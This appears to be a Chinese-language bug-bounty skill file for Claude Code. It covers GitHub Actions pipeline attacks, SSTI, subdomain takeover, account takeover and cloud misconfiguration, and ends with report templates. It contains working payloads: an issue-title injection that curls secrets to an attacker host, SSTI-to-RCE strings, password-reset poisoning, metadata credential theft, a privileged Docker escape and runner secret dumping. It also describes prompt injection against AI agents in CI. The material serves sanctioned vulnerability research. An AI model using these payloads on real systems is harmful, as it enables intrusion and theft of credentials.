PATH 注入——不可信输入 → $GITHUB_PATH = 执行任意二进制文件
输出篡改——不可信输入 → $GITHUB_OUTPUT，且未使用 heredoc 分隔符 = 操纵下游作业

参数注入——将不可信输入作为 CLI 参数（例如，docker run ${{ ... }}）

# VULNERABLE
run: docker run ${{ github.event.pull_request.body }}

# FIXED — end-of-options marker + env var
env:
  INPUT: ${{ github.event.pull_request.body }}
run: docker run -- "$INPUT"

请求伪造（SSRF）——在工作流中的 curl/wget 使用攻击者控制的 URL

类别 2：流水线投毒与不可信检出

根本原因：特权触发器（pull_request_target、workflow_run）检出攻击者的 PR 代码，随后该代码会在有权访问仓库机密的环境中运行。

不可信检出——在 pull_request_target 上使用 actions/checkout，但未指定明确的安全引用

# VULNERABLE — checks out attacker's PR code with repo secrets
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
      - run: make build  # runs attacker's Makefile with secrets

# FIXED — only checkout base branch, or use read-only permissions
permissions: {}
steps:
  - uses: actions/checkout@v4  # checks out base branch by default

TOCTOU（检查时与使用时不一致）——基于标签的批准 + 可变引用 = 攻击者添加标签后，在批准通过后推送恶意提交
可复用工作流污点传播——secrets: inherit 将所有机密传递给会处理不可信输入的被调用工作流
缓存投毒——不可信检出 → 构建 → 写入缓存 → 受信任工作流读取已投毒的缓存
缓存投毒（可投毒步骤）——不安全检出后，在保存缓存前执行构建步骤

制品投毒——从不可信的 workflow_run 下载 actions/download-artifact 制品，且未经验证

# VULNERABLE — downloads artifact from untrusted workflow, then executes it
on: workflow_run
steps:
  - uses: actions/download-artifact@v4
  - run: ./downloaded-binary  # attacker-controlled binary

# FIXED — verify artifact hash/signature before execution

Artipacked——actions/checkout 使用 persist-credentials: true（默认值），会导致上传的制品中泄露 .git/config 凭据
```
# FIXED
- uses: actions/checkout@v4
  with:
    persist-credentials: false
```

类别 3：供应链与依赖项安全（CICD-SEC-08）

未固定版本的 Actions——使用 uses: actions/checkout@v4（可变标签）而非固定 SHA

# VULNERABLE — tag can be force-pushed
uses: actions/checkout@v4

# FIXED — pinned to immutable commit SHA
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

冒名提交——Fork 网络允许推送 SHA 看似属于上游仓库的提交
引用混淆——利用含义模糊的标签/分支名称加载非预期版本的 Action
已知存在漏洞的 Actions——根据 GHSA 数据库检查 Actions（sisakulint 会自动检测）
已归档的 Actions——未维护且存在未修补漏洞的 Action
未固定版本的容器镜像——使用 image: ubuntu:latest，而非固定 SHA256 摘要

类别 4：凭据与机密保护

机密外泄——在工作流中使用 curl https://evil.com/${{ secrets.TOKEN }}

制品中的机密——上传的制品包含 .env、凭据或隐藏文件

# FIXED — exclude hidden files
- uses: actions/upload-artifact@v4
  with:
    include-hidden-files: false

未屏蔽的机密——fromJson() 派生的值会绕过 GitHub 的自动屏蔽机制

# FIXED — manually mask derived secrets
run: |
  TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
  echo "::add-mask::$TOKEN"

过度使用 secrets: inherit——可复用工作流调用继承所有机密，但实际上只需要其中一个
硬编码凭据——直接在工作流 YAML 中写入 API 密钥、密码或令牌

类别 5：触发器与访问控制（CICD-SEC-01）

危险触发器缺少缓解措施 — pull_request_target 或 workflow_run 没有 permissions: {}、审批关卡或分支引用限制
危险触发器仅有部分缓解措施 — 存在部分保护措施，但可被绕过
基于标签的审批绕过 — if: contains(github.event.pull_request.labels.*.name, 'approved') 可被伪造（攻击者可以添加标签）
机器人条件伪造 — if: github.actor != 'dependabot[bot]' 很容易通过使用相似名称的账号绕过
GITHUB_TOKEN 权限过高 — 只需要 contents: read 时却设置了 permissions: write-all
公共仓库使用自托管运行器 — 不受信任的 PR 在组织基础设施上执行 = 容器逃逸 → 横向移动
OIDC 令牌被窃取 — CI 运行器暴露的 OIDC 令牌可授予云访问权限

类别 6：AI Agent 安全（新增 — 2025 年及以后）

AI 触发器不受限制 — allowed_non_write_users: "*" 允许任何用户触发 AI Agent 执行
工具授权过多 — 在不受信任的触发器上下文中向 AI Agent 授予 Bash/Write/Edit 工具 = 攻击者提示词 → RCE
通过工作流上下文进行提示词注入 — ${{ github.event.issue.body }} 被插入 AI Agent 的提示词参数中

挖掘工作流

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

表达式注入 PoC 模板

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)

真实世界的 GHSA（已证实的赏金）

GHSA	操作	漏洞类型	严重性
GHSA-gq52-6phf-x2r6	tj-actions/branch-names	通过分支名称进行表达式注入	严重
GHSA-4xqx-pqpj-9fqw	atlassian/gajira-create	特权触发器中的代码注入	严重
GHSA-g86g-chm8-7r2p	check-spelling/check-spelling	构建日志中的机密信息泄露	严重
GHSA-cxww-7g56-2vh6	actions/download-artifact	工件投毒（官方操作）	高
GHSA-h3qr-39j9-4r5v	gradle/gradle-build-action	通过不受信任的检出进行缓存投毒	高
GHSA-mrrh-fwg8-r2c3	tj-actions/changed-files	供应链攻击 — 冒名提交	高
GHSA-phf6-hm3h-x8qp	broadinstitute/cromwell	通过代码注入暴露令牌	严重
GHSA-qmg3-hpqr-gqvc	reviewdog/action-setup	通过标签固定设置定时炸弹	高
GHSA-vqf5-2xx6-9wfm	github/codeql-action	存在已知漏洞的官方操作	高
GHSA-hw6r-g8gj-2987	pytorch/pytorch	构建工作流中的参数注入	中

A→B 信号：CI/CD 链

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

深入分析：从 sisakulint 发现到赏金报告

sisakulint 的发现属于可能可利用的问题，并非已确认的漏洞。每项发现都需要人工验证。以下模式提取自 36 份真实的已付费报告（总额超过 25 万美元）。每个部分都遵循促成实际赏金付款的分析思路。

1. 代码注入 / 参数注入

判定问题： 外部攻击者能否触发此工作流，且受污染的输入是否会进入 shell 上下文？

验证深度：

触发器的可访问性 — issues: opened 和 issue_comment: created 可由任何 GitHub 用户触发。pull_request_target 可通过 fork PR 触发。检查是否存在按操作者 / 关联关系筛选的 if: 条件。
直接与传递污染 — 工作流文件本身看起来可能是安全的。Cycode 发现 Bazel 的 $13K 漏洞，是因为 cherry-picker.yml 通过 with: 将 ${{ github.event.issue.title }} 传递给了另一个仓库中的复合操作（bazelbuild/continuous-integration）。该复合操作的 action.yml 包含 run: TITLE="${{ inputs.issue-title }}"。传统扫描器（actionlint）未能发现此问题，因为它们不会沿着 uses: 跟进并检查外部复合操作。务必获取并阅读复合操作的 action.yml。
载荷构造 — 分支名称不能包含空格。Ultralytics YOLO 攻击者使用 ${IFS}（内部字段分隔符）和 Bash 花括号展开 {curl,-sSfL,URL} 绕过了限制。Issue 标题 / 正文没有此类限制。
密钥可达性 — 检查工作流和作业级别的 permissions:。未明确设置 permissions: 块时，会使用仓库默认设置（通常为 write-all）。检查 env: 块中的 ${{ secrets.* }}。检查 GITHUB_TOKEN 是否具有写入权限。
影响链 — Bazel：Issue 标题注入 → 复合操作 shell 注入 → BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → 可在 Bazel 代码库中植入后门（影响 Google、Kubernetes、Uber、LinkedIn）。

排除信号： 返回布尔值的 ${{ contains(...) }} 或 ${{ startsWith(...) }} 不可被注入 — 这是误报。${{ github.event.pull_request.labels.*.name }} 在 contains() 中会计算为 true / false，而非标签文本。

2. 不可信检出（Pwn 请求）

门槛问题： 工作流是否检出攻击者控制的代码，随后执行了该检出内容中的某些内容？

验证深度：

显式与隐式代码执行 — Flank 的 7.5K 美元漏洞：gh pr checkout → gradle/gradle-build-action 运行 Gradle → Gradle 自动将 settings.gradle.kts 作为 Kotlin 脚本求值。攻击者从未编写 run: 命令。任何会读取仓库配置的构建工具都是代码执行途径：Makefile、package.json（postinstall 脚本）、setup.py、build.gradle.kts、.cargo/config.toml、Gemfile。
issue_comment 与 pull_request_target 一样危险 — Rspack NPM 令牌窃取：issue_comment 触发器 + 检出 refs/pull/${{ github.event.issue.number }}/head。issue_comment 在基础仓库上下文中运行，拥有全部机密。也包括草稿 PR。没有贡献者状态检查。始终检查 issue_comment 工作流中是否存在检出 PR 的模式。
自托管运行器权限提升 — 如果 runs-on: 包含 self-hosted，请检查：(a) 运行器是否为临时运行器？（在 config.sh 中使用 --ephemeral）。(b) 运行器是否属于 Docker 组？（docker run -v /:/host --privileged）。(c) PyTorch 模式：贡献者伎俩（修复拼写错误的 PR → 合并 → 获得贡献者状态 → 未经批准便在自托管运行器上自动触发）→ RoR（运行器套运行器：RUNNER_TRACKING_ID=0 + 安装攻击者的运行器 Agent）→ 等待特权工作流 → 从 .git/config 或进程内存中窃取 PAT。
TOCTOU — 由标签门控的 pull_request_target 工作流：攻击者设法添加标签（社交工程），工作流检查标签是否存在，攻击者在检查与检出之间推送恶意提交。检出时的 ref: 会解析到新提交。可变引用（触发时的 github.event.pull_request.head.sha 与检出时的值不同）是根本原因。
后利用 — 初始访问后，枚举所有机密：env | base64、cat /proc/self/environ、gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_。PyTorch 攻击者获得了 3 个机器人 PAT → 将它们组合起来，绕过了主分支的分支保护。

致命信号： if: "!github.event.pull_request.head.repo.fork" 可阻止外部攻击者。工作流级别设置 permissions: {}，并仅在作业级别设置 contents: read，可限制损害。带有 --ephemeral 标志的临时运行器可防止持久化。

3. 制品投毒

关键问题： 是否存在两阶段工作流模式：阶段 1（pull_request，不包含机密）上传制品，阶段 2（workflow_run，包含机密）下载并使用这些制品？

验证深度：

跨工作流制品流转 — 同一工作流中的上传和下载（通过 needs: 连接的构建作业 → 测试作业）无法被投毒，因为攻击者的 PR 会运行自己的构建。危险模式是：pull_request 工作流上传 → 独立的 workflow_run 工作流下载。workflow_run 会在另一个工作流完成时触发，并在默认分支上下文中运行，拥有完整的机密访问权限。
下载路径很重要 — actions/download-artifact 使用 path: . 或相对于工作区的路径（grafana-server/bin）时，可能会覆盖源代码、构建脚本或二进制文件。安全模式：解压到 ${{ runner.temp }}/artifacts。
来源验证 — workflow_run 消费方是否检查 github.event.workflow_run.head_repository.full_name != github.repository？如果没有，就会盲目使用来自 fork PR 的制品。Rust 发布流水线就曾因这一问题而易受攻击。
ArtiPACKED（persist-credentials） — actions/checkout 默认设置为 persist-credentials: true。这会将 GITHUB_TOKEN 写入 .git/config。如果制品上传路径包含 .git/（例如 path: .），就可以从 Actions 制品中公开下载该令牌。检查： 是否有任何 upload-artifact 步骤使用 path: . 或包含 .git/ 的宽泛路径？

排除信号： 在同一次工作流运行中上传和下载（通过 needs: 连接）。workflow_run 消费方明确检查 fork 来源。checkout 设置了 persist-credentials: false。

4. 缓存投毒

关键问题： fork PR 能否写入缓存条目，让默认分支随后在特权上下文中恢复该条目？

重要：GitHub 的缓存作用域并不能完全阻止这种情况。 PR 分支可以读取默认分支的缓存。fork PR 工作流可以写入缓存条目。如果缓存键具有确定性（hashFiles('package-lock.json')），且攻击者不修改该文件，fork PR 就会写入相同的缓存键。

验证深度：

键的可预测性 — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} 完全可预测。在键中加入 github.sha 或 github.run_id 会使其变得不可预测。检查每个缓存键是否包含不可预测的组成部分。
利用缓存层级 — workflow_run 和 workflow_dispatch 工作流在默认分支上下文中运行。如果它们使用可预测的键写入缓存，攻击者就可以通过 fork PR 触发上游工作流，提前污染缓存。run-dashboard-search-e2e.yml 模式：workflow_run 触发 → actions/cache 使用 hashFiles() 键 → 所有 PR 工作流读取此缓存。
载荷注入 — Cacheract：将恶意软件注入包管理器缓存（node_modules/.cache、~/.cache/pip、~/.gradle/caches）。恶意软件会自我延续，因为每次恢复 → 构建 → 保存的循环都会保留载荷。缓存有效期为 7 天 — 载荷会在多次工作流运行中存活。
特权使用 — 在默认分支上的 push 或 schedule 工作流中恢复缓存。这些工作流拥有完整的 secrets 访问权限。被投毒的依赖会在 npm install / pip install / gradle build 期间执行，并窃取机密。
Clinejection 攻击链 — 提示词注入 → AI Agent 从攻击者提交中运行 npm install → npm 缓存中植入 Cacheract → 每晚发布工作流恢复缓存 → VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN 被盗 → 恶意版 Cline v2.3.0 发布并持续 8 小时。

排除信号： 缓存键包含 github.sha 或 github.run_id。每个工作流使用独立的缓存键。PR 工作流使用只读的 actions/cache/restore，而不是可读写的 actions/cache。

5. 自托管 Runner

关键问题： 在允许外部贡献者触发工作流的公开仓库中，是否使用了自托管 Runner？

验证深度：

审批设置 — 默认设置为“要求批准首次贡献者”。在合并一次 PR 后（哪怕只是修正错别字），攻击者就会成为“贡献者”，之后提交的 PR 会自动触发工作流，无需审批。GitHub runner-images 的 2 万美元漏洞就利用了这一伎俩。
Runner 持久化 — 非临时 Runner 会在不同作业之间保留状态。RUNNER_TRACKING_ID=0 会阻止 Runner 在作业完成后清理攻击者进程。脱离终端运行的 Docker 容器（docker run -d --restart always）也能在清理后继续存活。
Runner 套 Runner（RoR） — 在目标的自托管 Runner 上安装官方 GitHub Actions Runner 二进制文件，并将其注册到攻击者的私有组织。整个过程只使用合法的 GitHub 二进制文件，并通过 HTTPS 访问 github.com，与正常的 Runner 流量无法区分。无需 C2 服务端。GitHub 本身就是 C2。
横向移动 — RoR 持久化 → 等待具有高权限的 push/schedule 工作流 → 从 .git/config、$GITHUB_ENV、/proc/PID/environ 或 Runner.Worker 进程内存中窃取令牌。PyTorch：3 个机器人 PAT → 93 个仓库 → AWS S3 写入权限 → pip install pytorch 供应链攻击。
Docker 组权限提升 — docker run -v /:/host --privileged alpine chroot /host → 获得完整的主机 root 权限。添加 SSH 密钥、修改 sudoers、安装持久化后门。

防护信号： 注册 Runner 时使用 --ephemeral 标志。“要求批准所有外部协作者”（而不只是首次贡献者）。Runner 不属于 Docker 组。使用私有仓库（不接收外部 PR）。

6. 供应链（commit-sha / impostor-commit / ref-confusion）

关键问题： 工作流是否使用可变标签（@v1、@v2）来指定 Actions，且这些标签是否可能被替换？

验证深度：

标签可变性 — git tag -f v1 <malicious-commit> 可以替换标签。98.4% 的仓库没有固定 SHA（Legit Security 2024）。tj-actions 攻击：所有版本标签（v1、v35、v45）都被替换为 memdump.py 载荷 → 2.3 万个仓库受影响 → 确认泄露 218 个密钥。
冒名提交 — Fork 网络与上游仓库共享对象存储。攻击者向 Fork 推送提交，然后在上游仓库的 uses: 中引用该提交 SHA。由于共享对象存储中存在此 SHA，GitHub 会解析它。
仓库劫持 — 组织重命名会创建重定向，旧名称随后变为可用。攻击者注册旧组织名称，创建同名仓库并托管恶意 Action。Shopify/unity-buy-sdk 使用了 MirrorNG/unity-runner → MirrorNG 重命名为 MirageNet → MirrorNG 可被注册。检查： GET /users/<action-owner> 返回 404？这是否意味着可以劫持？
载荷隐匿 — tj-actions memdump.py：通过 /proc/PID/maps + /proc/PID/mem 从 Runner.Worker 进程内存中提取密钥，使用 AES+RSA 加密后输出到工作流日志。日志公开可见，但内容经过加密——只有攻击者持有密钥。

防护信号： 使用完整的 40 字符 SHA 固定版本（uses: actions/checkout@b4ffde65...）。为 github-actions 生态系统配置 Dependabot。设置组织级 Action 允许列表。

7. AI Agent 安全

关键问题： 工作流中是否会调用 AI Agent（Gemini CLI、Claude Code、Cline、Codex），且外部用户能够影响提示词？

验证深度：

触发条件 + 提示词来源 — issues: opened → AI 分类机器人读取 github.event.issue.body。正文就是提示词。HTML 注释（``）在 GitHub UI 中不可见，但会包含在 API 响应中，因此也会进入 AI 提示词。
工具权限 — 如果 AI Agent 具有 Bash/Write/Edit 工具，并在环境变量中配置了机密信息，那么提示词注入 = RCE + 机密信息外泄。allowed_non_write_users: "*" 意味着任何用户都能触发。
多阶段攻击链 — Clinejection：提示词注入 → AI 从攻击者提交中运行 npm install → Cacheract 在 npm 缓存中植入恶意内容 → 夜间发布流程恢复缓存 → 令牌被窃取 → 发布恶意版本。单独来看，提示词注入问题可能似乎严重性较低，但它是缓存投毒和供应链攻击的入口。

致命信号： AI 处理前检查 author_association == 'MEMBER' || 'OWNER'。在 AI CLI 上使用 --read-only --no-exec 标志。在工作流级别设置 permissions: {}。

8. 权限 / 机密信息卫生

并非独立漏洞 — 这些因素会放大攻击效果。permissions: write-all 下的 code-injection-medium 属于严重问题。同样的注入在 permissions: { contents: read } 下则受到限制。

攻击链检查清单：

可复用工作流调用中使用 secrets: inherit → 被调用的工作流可访问所有组织机密信息
缺少 permissions: 配置块 → 使用仓库默认权限（通常为 write-all）
GITHUB_TOKEN 具有 contents: write → CVE-2022-46258 模式：使用 Contents API 创建新的工作流文件 → 新工作流可访问所有仓库 / 组织机密信息（原始工作流从未引用这些机密信息）

关键参考资料：

sisaku-security/agent-idea/bugbountyreport — 36 份真实案例报告，包含完整攻击链
sisakulint docs/advisory — 38 个 GHSA 及其检测映射
DEF CON 32：Grand Theft Actions — Khan 与 Stawinski，涉及可自托管运行器漏洞，金额超过 $250K
Synacktiv：GitHub Actions 利用（共 5 部分）

SSTI —— 服务端模板注入

检测载荷

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

测试位置

名称 / 简介 / 描述字段（个人资料页面）
电子邮件模板（发票名称、确认邮件中的用户名）
自定义错误消息
PDF 生成器（发票、报告导出）
URL 路径参数
在搜索结果中回显的搜索查询

Jinja2 → RCE（Python / Flask）

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig → RCE（PHP / Symfony）

{{["id"]|filter("system")}}

Freemarker → RCE（Java）

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB → RCE（Ruby on Rails）

<%= `id` %>

子域接管

检测

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

快速致命特征

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

影响升级

基本接管：在 target.com 子域名下提供页面 → 低 / 中
- Cookie：如果 target.com 设置了 domain=.target.com 的 Cookie → 凭据被盗 → 高
- OAuth 重定向：如果 sub.target.com 是已注册的 redirect_uri → ATO 攻击链 → 严重
- CSP 绕过：如果 sub.target.com 位于 target 的 CSP 中 → 任意位置均可 XSS → 严重

ATO —— 账户接管（完整分类）

路径 1：密码重置投毒（Host Header 注入）

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

路径 2：重置令牌在 Referer 中泄露

点击重置链接后，如果页面加载外部资源 → 令牌会通过 Referer 标头发送到外部域名。

路径 3：可预测 / 弱重置令牌

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

路径 4：令牌永不过期 / 可重复使用

请求令牌 → 等待 2 小时 → 使用令牌 → 仍然有效？请求令牌 #1 → 请求令牌 #2 → 使用令牌 #1 → 仍然有效？

路径 5：更改电子邮件地址时无需重新验证

PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim

路径 6：滥用 OAuth 账户关联

能否将电子邮件地址不同的 OAuth 账户关联到现有账户？

路径 7：会话固定

GET /login -> 记下 Set-Cookie session=XYZ -> 登录 -> 会话 ID 是否改变？如果没有 = 固定攻击。

云 / 基础设施配置错误

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 元数据（通过 SSRF）

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase 开放规则

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

暴露的管理面板

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

阶段 4：验证

7 个问题的门槛（撰写任何报告之前先执行）

7 个问题的答案都必须是“是”。任何一个答案为“否” -> 停止。

问题 1：我现在能用真实 PoC 利用这个漏洞吗？

写出确切的 HTTP 请求。如果你无法提供可用的请求 -> 放弃。

问题 2：这会影响没有采取任何特殊操作的真实用户吗？

不要说“用户需要……”并列出 5 个前置条件。受害者没有做任何特别的事。

问题 3：影响是否具体（资金、PII、ATO、RCE）？

“理论上可行”不是影响。“我读取了受害者的 SSN”才是影响。

问题 4：根据项目政策，这在范围内吗？

根据项目的范围页面，核实确切的域名 / 端点。

问题 5：我是否检查了 Hacktivity / 更新日志以排除重复报告？

搜索该项目已公开的报告和近期更新日志条目。

问题 6：这不在“始终拒绝”列表上吗？

检查下方的列表。如果在列表中，且你无法将其串联利用 -> 放弃。

问题 7：阅读这份报告的分流人员会说“是的，这是一个真实漏洞”吗？

假设自己是周五下午 5 点疲惫的分流人员，重新阅读报告。它能过关吗？

提交前的 4 个关卡

关卡 0：现实性检查（30 秒）

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

关卡 1：影响验证（2 分钟）

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

关卡 2：重复检查（5 分钟）

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

关卡 3：报告质量（10 分钟）

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 快速指南

因素	低（0-3.9）	中（4-6.9）	高（7-8.9）	严重（9-10）
攻击向量	物理	本地	相邻	网络
权限	高	低	无	无
用户交互	需要	需要	无	无
影响	部分	部分	高	高（全部 3 项）

各漏洞类别的典型评分

漏洞	典型 CVSS	严重程度
IDOR（读取 PII）	6.5	中
IDOR（写入 / 删除）	7.5	高
身份验证绕过 -> 管理员	9.8	严重
存储型 XSS	5.4-8.8	中-高
SQLi（数据外泄）	8.6	高
SSRF（云元数据）	9.1	严重
竞态条件（重复支出）	7.5	高
GraphQL 身份验证绕过	8.7	高
JWT none 算法	9.1	严重

始终拒绝 -- 切勿提交这些问题

缺少 CSP / HSTS / 安全响应头、缺少 SPF / DKIM / DMARC、仅有 GraphQL 内省、没有可用 CVE 利用代码的横幅 / 版本信息泄露、非敏感页面上的点击劫持、标签页劫持、CSV 注入、没有凭据外泄 PoC 的 CORS 通配符、注销 CSRF、自我 XSS、单独的开放重定向、移动应用中的 OAuth client_secret、仅 DNS ping 的 SSRF、单独的 Host 头注入、非关键表单没有速率限制、注销后会话未失效、并发会话、内部 IP 泄露、混合内容、SSL 弱密码套件、单独缺少 HttpOnly / Secure Cookie 标志、失效的外部链接、预先账户接管（通常如此）、密码字段启用自动完成。

N/A 会降低你的有效性比率。提示性报告没有影响。只提交通过 7 个问题门槛的内容。

通过链式利用后有条件有效

这些低危问题在与其他漏洞串联利用时会成为有效漏洞：

低危问题	+ 链式利用	= 有效漏洞
开放重定向	+ OAuth 代码窃取	ATO
点击劫持	+ 敏感操作 + PoC	账户操作
CORS 通配符	+ 凭据外泄	数据窃取
CSRF	+ 敏感状态更改	账户接管
没有速率限制	+ OTP 暴力破解	ATO
SSRF（仅 DNS）	+ 内部访问证明	内部网络访问
Host 头注入	+ 密码重置投毒	ATO
自我 XSS	+ 登录 CSRF	受害者账户上的存储型 XSS

阶段 5：报告

HackerOne 报告模板

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd 报告模板

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

人性化语气规则（避免写出 AI 腔）

句子开头先说影响，而不是漏洞名称
像向聪明的开发者解释问题一样写作，而不是写教科书
使用「我」和主动语态：「我发现……」，而不是「发现了一个漏洞……」
一个具体示例胜过三句抽象描述
不要使用 em dash，也不要使用「comprehensive/leverage/seamless/ensure」

报告标题公式

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

好的标题：

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

不好的标题：

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

影响陈述公式（第一段）

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

提交前 60 秒检查清单

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

严重性评级下调时的回应措辞

当奖金被下调时，可以用以下说法回应：

项目方说法	你的回应
"需要身份验证"	"攻击者只需要一个免费账号（无需特殊角色）"
"影响有限"	"影响 [N] 位用户 / [PII 类型] / [$ 金额]"
"已有人报告"	"请提供报告编号，我搜索过，没有找到"
"这是设计如此"	"请指出说明这是预期行为的文档"
"CVSS 评分较低"	"CVSS 未考虑业务影响，攻击者可以窃取 [X]"

资源

漏洞赏金平台

HackerOne Hacktivity -- 已披露的报告
Bugcrowd Crowdstream -- 公开发现
Intigriti Leaderboard

学习资源

PortSwigger Web Academy -- 免费漏洞实验室（最佳）
HackTricks -- 攻击技术参考
PayloadsAllTheThings -- Payload 参考
Solodit -- 5 万多个可搜索的审计发现（Web3）
ProjectDiscovery Chaos -- 免费子域名数据集

字典

SecLists -- 全面的字典集合
HowToHunt -- 按步骤进行漏洞挖掘
DefaultCreds -- 默认凭据

Payload 数据库

XSSHunter -- 盲 XSS 检测
interactsh -- OOB 回调服务

安装（Claude Code Skill）

要将其用作 Claude Code Skill，请将此文件复制到你的 skills 目录：

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
